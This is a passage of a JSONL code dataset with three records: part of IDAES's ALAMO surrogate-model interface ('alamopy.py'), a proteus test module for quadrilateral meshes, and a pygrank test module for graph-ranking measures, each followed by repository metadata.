{len(self._output_labels)}\\n\")\r\n        stream.write(f\"XLABELS {' '.join(map(str, self._input_labels))}\\n\")\r\n        stream.write(f\"ZLABELS {' '.join(map(str, self._output_labels))}\\n\")\r\n        stream.write(f\"XMIN {' '.join(map(str, input_min))}\\n\")\r\n        stream.write(f\"XMAX {' '.join(map(str, input_max))}\\n\")\r\n        stream.write(f\"NDATA {n_rdata}\\n\")\r\n        if validation_data is not None:\r\n            stream.write(f\"NVALDATA {n_vdata}\\n\")\r\n        stream.write(\"\\n\")\r\n\r\n        # Other options for config\r\n        # Can be bool, list of floats, None, Enum, float\r\n        # Special cases\r\n        if self.config.monomialpower is not None:\r\n            stream.write(f\"MONO {len(self.config.monomialpower)}\\n\")\r\n        if self.config.multi2power is not None:\r\n            stream.write(f\"MULTI2 {len(self.config.multi2power)}\\n\")\r\n        if self.config.multi3power is not None:\r\n            stream.write(f\"MULTI3 {len(self.config.multi3power)}\\n\")\r\n        if self.config.ratiopower is not None:\r\n            stream.write(f\"RATIOS {len(self.config.ratiopower)}\\n\")\r\n        if self.config.custom_basis_functions is not None:\r\n            stream.write(f\"NCUSTOMBAS {len(self.config.custom_basis_functions)}\\n\")\r\n\r\n        for o in supported_options:\r\n            if self.config[o] is None:\r\n                # Write nothing to alm file\r\n                continue\r\n            elif isinstance(self.config[o], Enum):\r\n                # Need to write value of Enum\r\n                stream.write(f\"{o} {self.config[o].value}\\n\")\r\n            elif isinstance(self.config[o], bool):\r\n                # Cast bool to int\r\n                stream.write(f\"{o} {int(self.config[o])}\\n\")\r\n            elif isinstance(self.config[o], (str, float, int)):\r\n                # Write value to file\r\n                stream.write(f\"{o} {self.config[o]}\\n\")\r\n            else:\r\n                # Assume the argument is a list\r\n                stream.write(f\"{o} {' '.join(map(str, self.config[o]))}\\n\")\r\n\r\n        stream.write(\"\\nTRACE 1\\n\")\r\n        if trace_fname is not None:\r\n            stream.write(f\"TRACEFNAME {trace_fname}\\n\")\r\n\r\n        def _df_to_data_fragment(df, **kwargs):\r\n            text = df.to_string(\r\n                header=False,\r\n                index=False,\r\n                float_format=lambda x: str(x).format(\":g\"),\r\n                **kwargs,\r\n            )\r\n            return text\r\n\r\n        stream.write(\"\\nBEGIN_DATA\\n\")\r\n        # Columns will be writen in order in input and output lists\r\n        training_data_str = _df_to_data_fragment(\r\n            training_data,\r\n            columns=self._input_labels + self._output_labels,\r\n        )\r\n        stream.write(training_data_str)\r\n        stream.write(\"\\nEND_DATA\\n\")\r\n\r\n        if validation_data is not None:\r\n            # Add validation data defintion\r\n            stream.write(\"\\nBEGIN_VALDATA\\n\")\r\n            val_data_str = _df_to_data_fragment(\r\n                validation_data,\r\n                columns=self._input_labels + self._output_labels,\r\n            )\r\n            stream.write(val_data_str)\r\n            stream.write(\"\\nEND_VALDATA\\n\")\r\n\r\n        if self.config.custom_basis_functions is not None:\r\n            stream.write(\"\\nBEGIN_CUSTOMBAS\\n\")\r\n            for i in self.config.custom_basis_functions:\r\n                stream.write(f\"{str(i)}\\n\")\r\n            stream.write(\"END_CUSTOMBAS\\n\")\r\n\r\n    def _write_alm_file(self, training_data=None, validation_data=None):\r\n        \"\"\"\r\n        Method to write an ALAMO input file (.alm) using the current settings.\r\n        Users may provide specific data sets for training and validation.\r\n        If no data sets are provided, the data sets contained in the\r\n        AlamoModelTrainer are used.\r\n\r\n        Args:\r\n            training_data: Pandas dataframe to use for training surrogate\r\n            validation_data: Pandas dataframe to use for validating surrogate\r\n\r\n        Returns:\r\n            None\r\n        \"\"\"\r\n        f = open(self._almfile, \"w\")\r\n        self._write_alm_to_stream(f, self._trcfile, training_data, validation_data)\r\n        f.close()\r\n\r\n    def _call_alamo(self):\r\n        \"\"\"\r\n        Method to call ALAMO executable from Python, passing the current .alm\r\n        file as an argument.\r\n\r\n        Args:\r\n            None\r\n\r\n        Returns:\r\n            ALAMO: return code\r\n            log: string of the text output from ALAMO\r\n        \"\"\"\r\n        if alamo.executable is None:\r\n            raise FileNotFoundError(\r\n                \"Could not find ALAMO executable. Please ensure that ALAMO \"\r\n                \"is installed and in the system path, or provide a path to \"\r\n                \"the executable.\"\r\n            )\r\n\r\n        ostreams = [StringIO(), sys.stdout]\r\n\r\n        if self._temp_context is None:\r\n            self._get_files()\r\n\r\n        # Set working directory\r\n        cwd = os.getcwd()\r\n        os.chdir(self._wrkdir)\r\n\r\n        try:\r\n            # Add lst file to temp file manager\r\n            lstfname = os.path.splitext(os.path.basename(self._almfile))[0] + \".lst\"\r\n            lstpath = os.path.join(cwd, lstfname)\r\n            self._temp_context.add_tempfile(lstpath, exists=False)\r\n\r\n            with TeeStream(*ostreams) as t:\r\n                results = subprocess.run(\r\n                    [alamo.executable, str(self._almfile)],\r\n                    stdout=t.STDOUT,\r\n                    stderr=t.STDERR,\r\n                    universal_newlines=True,\r\n                )\r\n\r\n                t.STDOUT.flush()\r\n                t.STDERR.flush()\r\n\r\n            return_code = results.returncode\r\n            alamo_log = ostreams[0].getvalue()\r\n\r\n        except OSError:\r\n            _log.error(\r\n                f\"Could not execute the command: alamo {str(self._almfile)}. \",\r\n                f\"Error message: {sys.exc_info()[1]}.\",\r\n            )\r\n            raise\r\n\r\n        finally:\r\n            # Revert cwd to where it started\r\n            os.chdir(cwd)\r\n\r\n        if \"ALAMO terminated with termination code \" in alamo_log:\r\n            self._remove_temp_files()\r\n            _log.warn(\r\n                \"ALAMO executable returned non-zero return code. Check \"\r\n                \"the ALAMO output for more information.\"\r\n            )\r\n\r\n        return return_code, alamo_log\r\n\r\n    def _read_trace_file(self, trcfile, has_validation_data=False):\r\n        \"\"\"\r\n        Method to read the results of an ALAMO run from a trace (.trc) file.\r\n        The name location of the trace file is tored on the AlamoModelTrainer\r\n        object and is generally set automatically.\r\n\r\n        Args:\r\n            trcfile : str\r\n               Path to the trcfile to read\r\n            output_labels : list of str\r\n               List of strings of the output_labels (in order)\r\n            has_validation_data : bool\r\n                Bool indicating whether valdiation data was included in ALAMO run\r\n\r\n        Returns:\r\n            trace_dict: contents of trace file as a dict\r\n        \"\"\"\r\n        with open(trcfile, \"r\") as f:\r\n            lines = f.readlines()\r\n        f.close()\r\n\r\n        output_labels = self.output_labels()\r\n\r\n        trace_read = {}\r\n        # Get headers from first line in trace file\r\n        headers = lines[0].split(\", \")\r\n        for i in range(len(headers)):\r\n            header = headers[i].strip(\"#\\n\")\r\n            if header in common_trace:\r\n                trace_read[header] = None\r\n            else:\r\n                trace_read[header] = {}\r\n\r\n        # Get trace output from final line(s) of file\r\n        # ALAMO will append new lines to existing trace files\r\n        # For multiple outputs, each output has its own line in trace file\r\n        if self._validation_dataframe is not None or has_validation_data:\r\n            omult = 2\r\n        else:\r\n            omult = 1\r\n\r\n        for j in range(len(output_labels)):\r\n            trace = lines[(-len(output_labels) + j) * omult].split(\", \")\r\n\r\n            for i in range(len(headers)):\r\n                header = headers[i].strip(\"#\\n\")\r\n                trace_val = trace[i].strip(\"\\n\")\r\n\r\n                # Replace Fortran powers (^) with Python powers (**)\r\n                trace_val = trace_val.replace(\"^\", \"**\")\r\n                # Replace = with ==\r\n                trace_val = trace_val.replace(\"=\", \"==\")\r\n\r\n                if header in common_trace:\r\n                    # These should be common across all output\r\n                    if trace_read[header] is None:\r\n                        # No value yet, so set value\r\n                        trace_read[header] = trace_val\r\n                    else:\r\n                        # Check that current value matches the existng value\r\n                        if trace_read[header] != trace_val:\r\n                            raise RuntimeError(\r\n                                f\"Mismatch in values when reading ALAMO trace \"\r\n                                f\"file. Values for {header}: \"\r\n                                f\"{trace_read[header]}, {header}\"\r\n                            )\r\n                else:\r\n                    trace_read[header][output_labels[j]] = trace_val\r\n\r\n                # Do some final sanity checks\r\n                if header == \"OUTPUT\":\r\n                    # OUTPUT should be equal to the current index of outputs\r\n                    if trace_val != str(j + 1):\r\n                        raise RuntimeError(\r\n                            f\"Mismatch when reading ALAMO trace file. \"\r\n                            f\"Expected OUTPUT = {j+1}, found {trace_val}.\"\r\n                        )\r\n                elif header == \"SET\":\r\n                    # SET should always be 0 - higher numbers are for\r\n                    # validation data sets\r\n                    if trace_val != \"0\":\r\n                        raise RuntimeError(\r\n                            f\"Mismatch when reading ALAMO trace file. \"\r\n                            f\"Expected SET = 0, found {trace_val}. \"\r\n                            f\"This likely indicates the presence of \"\r\n                            f\"unexpected validation data sets.\"\r\n                        )\r\n                elif header == \"Model\":\r\n                    # Var label on LHS should match output label\r\n                    vlabel = trace_val.split(\"==\")[0].strip()\r\n                    if vlabel != output_labels[j]:\r\n                        raise RuntimeError(\r\n                            f\"Mismatch when reading ALAMO trace file. \"\r\n                            f\"Label of output variable in expression \"\r\n                            f\"({vlabel}) does not match expected label \"\r\n                            f\"({output_labels[j]}).\"\r\n                        )\r\n\r\n        return trace_read\r\n\r\n    def _populate_results(self, trace_dict):\r\n        \"\"\"\r\n        Method to populate the results object with data from a trace file.\r\n\r\n        Args:\r\n            trace_dict: trace file data in form of a dict\r\n\r\n        Returns:\r\n            None\r\n        \"\"\"\r\n        self._results = trace_dict\r\n\r\n    def _build_surrogate_object(self):\r\n        \"\"\"\r\n        Method to construct an AlmaoObject from the current results\r\n        object.\r\n\r\n        Args:\r\n            None\r\n\r\n        Returns:\r\n            AlamoSurrogate\r\n        \"\"\"\r\n        return AlamoSurrogate(\r\n            surrogate_expressions=self._results[\"Model\"],\r\n            input_labels=self._input_labels,\r\n            output_labels=self._output_labels,\r\n            input_bounds=self._input_bounds,\r\n        )\r\n\r\n    def _remove_temp_files(self):\r\n        \"\"\"\r\n        Method to remove temporary files created during the ALAMO workflow,\r\n        i.e. the .alm and .trc files.\r\n\r\n        Args:\r\n            None\r\n\r\n        Returns:\r\n            None\r\n        \"\"\"\r\n        remove = True\r\n        if self.config.filename is not None:\r\n            remove = False\r\n\r\n        self._temp_context.release(remove=remove)\r\n        # Release tempfile context\r\n        self._temp_context = None\r\n\r\n\r\nclass AlamoSurrogate(SurrogateBase):\r\n    \"\"\"\r\n    Standard SurrogateObject for surrogates trained using ALAMO.\r\n\r\n    Contains methods to both populate a Pyomo Block with constraints\r\n    representing the surrogate and to evaluate the surrogate a set of user\r\n    provided points.\r\n    \"\"\"\r\n\r\n    def __init__(\r\n        self, surrogate_expressions, input_labels, output_labels, input_bounds=None\r\n    ):\r\n        super().__init__(input_labels, output_labels, input_bounds)\r\n        self._surrogate_expressions = surrogate_expressions\r\n        self._fcn = None\r\n\r\n    def evaluate_surrogate(self, inputs):\r\n        \"\"\"\r\n        Method to method to evaluate the ALAMO surrogate model at a set of user\r\n        provided values.\r\n\r\n        Args:\r\n           dataframe: pandas DataFrame\r\n              The dataframe of input values to be used in the evaluation. The dataframe\r\n              needs to contain a column corresponding to each of the input labels. Additional\r\n              columns are fine, but are not used.\r\n\r\n        Returns:\r\n            output: pandas Dataframe\r\n              Returns a dataframe of the the output values evaluated at the provided inputs.\r\n              The index of the output dataframe should match the index of the provided inputs.\r\n        \"\"\"\r\n        # Create a set of lambda functions for evaluating the surrogate.\r\n        if self._fcn is None:\r\n            fcn = dict()\r\n            for o in self._output_labels:\r\n                fcn[o] = eval(\r\n                    f\"lambda {', '.join(self._input_labels)}: \"\r\n                    f\"{self._surrogate_expressions[o].split('==')[1]}\",\r\n                    GLOBAL_FUNCS,\r\n                )\r\n            self._fcn = fcn\r\n\r\n        # Use numpy to do the calculations as it is faster\r\n        inputdata = inputs[self._input_labels].to_numpy()\r\n        outputs = np.zeros(shape=(inputs.shape[0], len(self._output_labels)))\r\n\r\n        for i in range(inputdata.shape[0]):\r\n            for o in range(len(self._output_labels)):\r\n                o_name = self._output_labels[o]\r\n                outputs[i, o] = value(self._fcn[o_name](*inputdata[i, :]))\r\n\r\n        return pd.DataFrame(\r\n            data=outputs, index=inputs.index, columns=self._output_labels\r\n        )\r\n\r\n    def populate_block(self, block, additional_options=None):\r\n        \"\"\"\r\n        Method to populate a Pyomo Block with surrogate model constraints.\r\n\r\n        Args:\r\n            block: Pyomo Block component to be populated with constraints.\r\n            additional_options: None\r\n               No additional options are required for this surrogate object\r\n        Returns:\r\n            None\r\n        \"\"\"\r\n\r\n        # TODO: do we need to add the index_set stuff back in?\r\n        output_set = Set(initialize=self._output_labels, ordered=True)\r\n\r\n        def alamo_rule(b, o):\r\n            lvars = block.input_vars_as_dict()\r\n            lvars.update(block.output_vars_as_dict())\r\n            return eval(self._surrogate_expressions[o], GLOBAL_FUNCS, lvars)\r\n\r\n        block.alamo_constraint = Constraint(output_set, rule=alamo_rule)\r\n\r\n    def save(self, strm):\r\n        \"\"\"\r\n        Save an instance of this surrogate to the strm so the model can be used later.\r\n\r\n        Args:\r\n           strm: IO.TextIO\r\n              This is the python stream like a file object or StringIO that will be used\r\n              to serialize the surrogate object. This method writes a string\r\n              of json data to the stream.\r\n        \"\"\"\r\n        json.dump(\r\n            {\r\n                \"surrogate\": self._surrogate_expressions,\r\n                \"input_labels\": self._input_labels,\r\n                \"output_labels\": self._output_labels,\r\n                \"input_bounds\": self._input_bounds,\r\n            },\r\n            strm,\r\n        )\r\n\r\n    @classmethod\r\n    def load(cls, strm):\r\n        \"\"\"\r\n        Create an instance of a surrogate from a stream.\r\n\r\n        Args:\r\n           strm: stream\r\n              This is the python stream containing the data required to load the surrogate.\r\n              This is often, but does not need to be a string of json data.\r\n\r\n        Returns: an instance of the derived class or None if it failed to load\r\n        \"\"\"\r\n        d = json.load(strm)\r\n\r\n        surrogate_expressions = d[\"surrogate\"]\r\n        input_labels = d[\"input_labels\"]\r\n        output_labels = d[\"output_labels\"]\r\n\r\n        # Need to convert list of bounds to tuples\r\n        input_bounds = {}\r\n        for k, v in d[\"input_bounds\"].items():\r\n            input_bounds[k] = tuple(v)\r\n\r\n        return AlamoSurrogate(\r\n            surrogate_expressions=surrogate_expressions,\r\n            input_labels=input_labels,\r\n            output_labels=output_labels,\r\n            input_bounds=input_bounds,\r\n        )\r\n", "meta": {"hexsha": "6aa48509f0379589d10a5722d4be3edb07c0755e", "size": 44834, "ext": "py", "lang": "Python", "max_stars_repo_path": "idaes/core/surrogate/alamopy.py", "max_stars_repo_name": "OOAmusat/idaes-pse", "max_stars_repo_head_hexsha": "ae7d3bb8e372bc32822dcdcb75e9fd96b78da539", "max_stars_repo_licenses": ["RSA-MD"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "idaes/core/surrogate/alamopy.py", "max_issues_repo_name": "OOAmusat/idaes-pse", "max_issues_repo_head_hexsha": "ae7d3bb8e372bc32822dcdcb75e9fd96b78da539", "max_issues_repo_licenses": ["RSA-MD"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "idaes/core/surrogate/alamopy.py", "max_forks_repo_name": "OOAmusat/idaes-pse", "max_forks_repo_head_hexsha": "ae7d3bb8e372bc32822dcdcb75e9fd96b78da539", "max_forks_repo_licenses": ["RSA-MD"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.4418972332, "max_line_length": 95, "alphanum_fraction": 0.5559619931, "include": true, "reason": "import numpy,from pyomo", "num_tokens": 9207, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4493926344647597, "lm_q2_score": 0.1143685246724982, "lm_q1q2_score": 0.05139637260242183}}
{"text": "#!/usr/bin/env python\n\"\"\"\n\nTest module for 2D Quadrilateral Meshes\n\n\"\"\"\nfrom __future__ import division\nfrom builtins import range\nfrom builtins import object\nfrom past.utils import old_div\nfrom proteus.iproteus import *\nfrom proteus.test_utils import TestTools\nTestTools.addSubFolders( inspect.currentframe() )\n\nimport stokes_2d_p\nimport stokes_2d_n\nimport pytest\nimport inspect\nimport numpy as np\n\n@pytest.fixture(scope=\"module\")\ndef simple_mesh():\n    nnx = 4\n    nny = 4\n    x = (-1.0,-1.0)\n    L = (2.0,2.0)\n    refinementLevels = 2\n    nLayersOfOverlap = 1\n    parallelPartitioningType = 0\n    skipInit = False\n    mlMesh = MeshTools.MultilevelQuadrilateralMesh(nnx,nny,1,\n                                                   x[0],x[1],0.0,\n                                                   L[0],L[1],1.0,\n                                                   refinementLevels,\n                                                   skipInit,\n                                                   nLayersOfOverlap,\n                                                   parallelPartitioningType,\n                                                   useC=False)\n    yield mlMesh, nnx, nny\n\n@pytest.fixture(scope=\"module\")\ndef simple_mesh_with_c():\n    nnx = 4\n    nny = 4\n    x = (-1.0,-1.0)\n    L = (2.0,2.0)\n    refinementLevels = 1\n    nLayersOfOverlap = 1\n    parallelPartitioningType = 0\n    skipInit = False\n    mlMesh = MeshTools.MultilevelQuadrilateralMesh(nnx,nny,1,\n                                                   x[0],x[1],0.0,\n                                                   L[0],L[1],1,\n                                                   refinementLevels,\n                                                   skipInit,\n                                                   nLayersOfOverlap,\n                                                   parallelPartitioningType,\n                                                   useC=True)\n    yield mlMesh, nnx, nny\n\n@pytest.mark.MeshTools\ndef test_mesh_build(simple_mesh):\n    \"\"\"  Test mesh generation and refinment \"\"\"\n    mlMesh,nnx,nny = simple_mesh\n    assert mlMesh.meshList[0].nElements_global == (nnx-1)*(nny-1), 'Mesh generator has built incorrect number of quads'\n    assert mlMesh.meshList[1].nElements_global == 4*(nnx-1)*(nny-1), 'Mesh generator has built incorrect number of quads'\n\n@pytest.mark.MeshTools\ndef test_mesh_build_1(simple_mesh_with_c):\n    \"\"\" Test mesh generation with c \"\"\"\n    mlMesh,nnx,nny = simple_mesh_with_c\n    assert mlMesh.meshList[0].nElements_global == (nnx-1)*(nny-1), 'Mesh generator has built incorrect number of quads'\n    # TODO (ARB) - add an additional test for refinement when its ready\n\n@pytest.mark.MeshTools\ndef test_calc_quad_area(simple_mesh):\n    mlMesh, nnx, nny = simple_mesh\n    for i in range(9):\n        assert mlMesh.meshList[0]._calc_quad_area(i) == 4. / 9.\n\n@pytest.mark.MeshTools\ndef test_calc_quad_area(simple_mesh_with_c):\n    mlMesh, nnx, nny = simple_mesh_with_c\n    for i in range(9):\n        assert mlMesh.meshList[0]._calc_quad_area(i) == 4. / 9.\n        \n@pytest.mark.MeshTools\ndef test_calc_hmax(simple_mesh):\n    mlMesh, nnx, nny = simple_mesh\n    quad_mesh = mlMesh.meshList[0]\n    for i in range(9):\n        hmax_i = quad_mesh._calc_hmax(i)\n        h = quad_mesh._calc_pt_distance((-1.0,old_div(-1.,3.)),(old_div(-1.,3.),old_div(1.,3.)))\n        assert abs(h-hmax_i) < 1e-12\n\n@pytest.mark.MeshTools\ndef test_buildNodeDiameterArray_1(simple_mesh):\n    mlMesh, nnx, nny = simple_mesh\n    quad_mesh = mlMesh.meshList[0]\n    quad_mesh.buildNodeDiameterArray()\n    expected = np.full((16),0.94280904)\n    assert np.allclose(quad_mesh.nodeDiametersArray,expected)\n    assert abs(quad_mesh.volume-4.0) < 1e-12\n\n@pytest.mark.modelTest\n@pytest.mark.moderateTest\n@pytest.mark.MeshTools\nclass Test2DStokesOnQuads(object):\n    \"\"\" Runs a 2D Poiseulle Stokes problem on Quads with TH elements \"\"\"\n\n    @classmethod    \n    def setup_class(cls):\n        pass\n\n    @classmethod\n    def teardown_class(cls):\n        pass\n\n    def setup_method(self,method):\n        from importlib import reload\n        reload(stokes_2d_p)\n        reload(stokes_2d_n)\n        pList = [stokes_2d_p]\n        nList = [stokes_2d_n]    \n        so = default_so\n        so.tnList = [0.,1.]\n        so.name = pList[0].name\n        so.sList=[default_s]\n        opts.verbose=True\n        opts.profile=True\n        opts.gatherArchive=True\n        self._scriptdir = os.path.dirname(__file__)\n        self.ns = NumericalSolution.NS_base(so,pList,nList,so.sList,opts)\n\n    def teardown_method(self,method):\n        Filelist = [\"rdomain.edge\",\n                    \"rdomain.ele\",\n                    \"rdomain.neig\",\n                    \"rdomain.node\",\n                    \"rdomain.poly\",\n                    \"reference_triangle.poly\",\n                    \"reference_simplex.poly\",\n                    \"proteus.log\",\n#                    \"poiseulleFlow.xmf\",\n                    \"poiseulleFlow.h5\",\n                    \"poiseulleFlow0.h5\"]\n        TestTools.removeFiles(Filelist)\n\n    # ARB TODO (10/24/18) something has become mixed up with this test and\n    # needs to be fixed.  Notably, the *.h5 file is not working correctly\n    # in paraview, making it difficult to correct this test. I simply do\n    # not have the time to look into this at the moment and it is not a\n    # critical piece of code for current projects.  See comments below.\n        \n    @pytest.mark.skip\n    def test_01_FullRun(self):\n        import filecmp\n        self.ns.calculateSolution('test1')\n        if self.ns.ar[0].global_sync:\n            relpath = \"comparison_files/poiseulle_global_xmf.output\"\n        else:\n            relpath = \"comparison_files/poiseulle_xmf.output\"\n        # The produced output has diverged from the old comparison\n        # output. It needs to be confirmed that the new ouput is\n        # in fact correct and drivenCavityNSE_LSC_expected.h5 should\n        # be updated accordingly.            \n        xmf_file = filecmp.cmp('poiseulleFlow.xmf',os.path.join(self._scriptdir,relpath))\n        import pdb ; pdb.set_trace()\n        assert xmf_file == True, '******** xmf_file compare failed **********'\n\nif __name__ == '__main__':\n    pass\n", "meta": {"hexsha": "1e15a3925e0026f269365a461151873c82df727f", "size": 6217, "ext": "py", "lang": "Python", "max_stars_repo_path": "proteus/tests/mesh_tests/test_quads.py", "max_stars_repo_name": "dloney/proteus", "max_stars_repo_head_hexsha": "615cdf57f765b2e99bac904bb6eb71e39e58ab56", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "proteus/tests/mesh_tests/test_quads.py", "max_issues_repo_name": "dloney/proteus", "max_issues_repo_head_hexsha": "615cdf57f765b2e99bac904bb6eb71e39e58ab56", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 13, "max_issues_repo_issues_event_min_datetime": "2018-02-08T23:22:59.000Z", "max_issues_repo_issues_event_max_datetime": "2020-12-06T19:40:32.000Z", "max_forks_repo_path": "proteus/tests/mesh_tests/test_quads.py", "max_forks_repo_name": "dloney/proteus", "max_forks_repo_head_hexsha": "615cdf57f765b2e99bac904bb6eb71e39e58ab56", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2020-02-17T03:25:34.000Z", "max_forks_repo_forks_event_max_datetime": "2020-02-17T03:25:34.000Z", "avg_line_length": 35.936416185, "max_line_length": 121, "alphanum_fraction": 0.5845262989, "include": true, "reason": "import numpy", "num_tokens": 1558, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48828339529583464, "lm_q2_score": 0.10521054511997296, "lm_q1q2_score": 0.05137256219210601}}
{"text": "import pygrank as pg\nimport pytest\nfrom .test_core import supported_backends\n\n\ndef test_split():\n    data = {\"community1\": [\"A\", \"B\", \"C\", \"D\"], \"community2\": [\"B\", \"E\", \"F\", \"G\", \"H\", \"I\"]}\n    training, test = pg.split(data, 1)\n    assert training == test\n    training, test = pg.split(data, 0.5)\n    assert len(training[\"community2\"]) == 3\n    assert len(training[\"community1\"]) == 2\n    assert len(test[\"community2\"]) == 3\n    assert len(set(training[\"community1\"])-set(test[\"community1\"])) == len(training[\"community1\"])\n    assert len(set(training[\"community2\"])-set(test[\"community2\"])) == len(training[\"community2\"])\n    training, test = pg.split(data, 2)\n    assert len(training[\"community2\"]) == 2\n    assert len(test[\"community1\"]) == 2\n    training, test = pg.split(data[\"community1\"], 0.75)\n    assert len(training) == 3\n    assert len(test) == 1\n    training, test = pg.split(set(data[\"community1\"]), 0.75)\n    assert len(training) == 3\n    assert len(test) == 1\n\n\ndef test_auc_ndcg_compliance():\n    _, graph, group = next(pg.load_datasets_one_community([\"bigraph\"]))\n    training, test = pg.split(group, 0.5)\n    for _ in supported_backends():\n        scores1 = pg.PageRank()(graph, training)\n        scores2 = pg.HeatKernel()(graph, training)\n        AUC1 = pg.AUC(test, exclude=training)(scores1)\n        AUC2 = pg.AUC(test, exclude=training)(scores2)\n        NDCG1 = float(pg.NDCG(test, exclude=training)(scores1))\n        NDCG2 = float(pg.NDCG(test, exclude=training)(scores2))\n        assert (AUC1 < AUC2) == (NDCG1 < NDCG2)\n        with pytest.raises(Exception):\n            pg.AUC(test, exclude=test, k=len(graph)+1)(scores2)\n        with pytest.raises(Exception):\n            pg.NDCG(test, exclude=training, k=len(graph)+1)(scores2)\n\n\ndef test_edge_cases():\n    assert pg.pRule([0])([0]) == 0\n    assert pg.Cos([0])([0]) == 0\n    with pytest.raises(Exception):\n        pg.Measure()([0, 1, 0])\n    with pytest.raises(Exception):\n        pg.AUC([0, 0, 0])([0, 1, 0])\n    with pytest.raises(Exception):\n        pg.AUC([1, 1, 1])([0, 1, 0])\n    with pytest.raises(Exception):\n        pg.KLDivergence([0], exclude={\"A\": 1})([1])\n    with pytest.raises(Exception):\n        pg.Conductance(next(pg.load_datasets_graph([\"graph5\"])), max_rank=0.5)([1, 1, 1, 1, 1])\n    import networkx as nx\n    for _ in supported_backends():\n        assert pg.Density(nx.Graph())([]) == 0\n        assert pg.Modularity(nx.Graph())([]) == 0\n        assert pg.KLDivergence([0,1,0])([0,1,0]) == 0\n        assert pg.MKLDivergence([0,1,0])([0,1,0]) == 0\n        assert pg.KLDivergence([0])([-1]) == 0\n\n\ndef test_strange_input_types():\n    _, graph, group = next(pg.load_datasets_one_community([\"bigraph\"]))\n    training, test = pg.split(group)\n    for _ in supported_backends():\n        scores = pg.PageRank()(graph, {v: 1 for v in training})\n        ndcg = pg.NDCG(pg.to_signal(scores, {v: 1 for v in test}), k=3)({v: scores[v] for v in scores})\n        ndcg_biased = pg.NDCG(pg.to_signal(scores, {v: 1 for v in test}), k=3)({v: scores[v] for v in test})\n        assert ndcg < ndcg_biased\n\n\ndef test_correlation_compliance():\n    graph = next(pg.load_datasets_graph([\"graph5\"]))\n    # TODO: Make spearman and pearson correlation support tensorflow\n    alg1 = pg.PageRank(alpha=0.5)\n    alg2 = pg.PageRank(alpha=0.99)\n    pearson_ordinals = pg.PearsonCorrelation(pg.Ordinals(alg1)(graph))(pg.Ordinals(alg2)(graph))\n    spearman = pg.SpearmanCorrelation(alg1(graph))(alg2(graph))\n    assert pearson_ordinals == spearman\n\n\ndef test_computations():\n    for _ in supported_backends():\n        assert pg.Accuracy([1, 2, 3])([1, 2, 3]) == 1\n        assert pg.Mabs([3, 1, 1])([2, 0, 2]) == 1\n        assert pg.CrossEntropy([1, 1, 1])([1, 1, 1]) < 1.E-12\n        assert float(pg.Cos([2, 0, 1])([2, 0, 1])) == 1\n        assert float(pg.Cos([2, 0, 1])([-2, 0, -1])) == -1\n        assert float(pg.Dot([1, 1, 1])([1, 1, 1])) == 3\n\n\ndef test_aggregated():\n    y1 = [1, 1, 0]\n    y2 = [1, 0, 0]\n    y3 = [1, 1, 0]\n    for _ in supported_backends():\n        # TODO: investiage why not exactly the same always (numerical precision should be lower)\n        assert abs(float(pg.GM().add(pg.AUC(y1), max_val=0.5).add(pg.AUC(y2), min_val=0.9).evaluate(y3)) - 0.45**0.5) < 1.E-6\n        assert abs(float(pg.AM().add(pg.AUC(y1), max_val=0.5).add(pg.AUC(y2), min_val=0.9).evaluate(y3)) - 0.7) < 1.E-6\n\n\ndef test_remove_edges():\n    graph = next(pg.load_datasets_graph([\"graph5\"]))\n    assert graph.has_edge(\"A\", \"B\")\n    assert graph.has_edge(\"C\", \"D\")\n    pg.remove_intra_edges(graph, {\"community1\": [\"A\", \"B\"], \"community2\": [\"D\", \"C\"]})\n    assert graph.has_edge(\"B\", \"C\")\n    assert not graph.has_edge(\"A\", \"B\")\n    assert not graph.has_edge(\"C\", \"D\")\n\n", "meta": {"hexsha": "3f50ce845a8dea2371f5555943c1e61e5766efa5", "size": 4726, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/test_measures.py", "max_stars_repo_name": "maniospas/pygrank", "max_stars_repo_head_hexsha": "a92f6bb6d13553dd960f2e6bda4c041a8027a9d1", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 19, "max_stars_repo_stars_event_min_datetime": "2019-10-07T14:42:40.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-24T15:02:02.000Z", "max_issues_repo_path": "tests/test_measures.py", "max_issues_repo_name": "maniospas/pygrank", "max_issues_repo_head_hexsha": "a92f6bb6d13553dd960f2e6bda4c041a8027a9d1", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 13, "max_issues_repo_issues_event_min_datetime": "2021-08-25T12:54:37.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-05T03:31:34.000Z", "max_forks_repo_path": "tests/test_measures.py", "max_forks_repo_name": "maniospas/pygrank", "max_forks_repo_head_hexsha": "a92f6bb6d13553dd960f2e6bda4c041a8027a9d1", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 4, "max_forks_repo_forks_event_min_datetime": "2019-09-25T09:54:51.000Z", "max_forks_repo_forks_event_max_datetime": "2020-12-09T00:11:21.000Z", "avg_line_length": 41.0956521739, "max_line_length": 125, "alphanum_fraction": 0.6066440965, "include": true, "reason": "import networkx", "num_tokens": 1522, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4882833952958347, "lm_q2_score": 0.10521053950871516, "lm_q1q2_score": 0.051372559452222}}
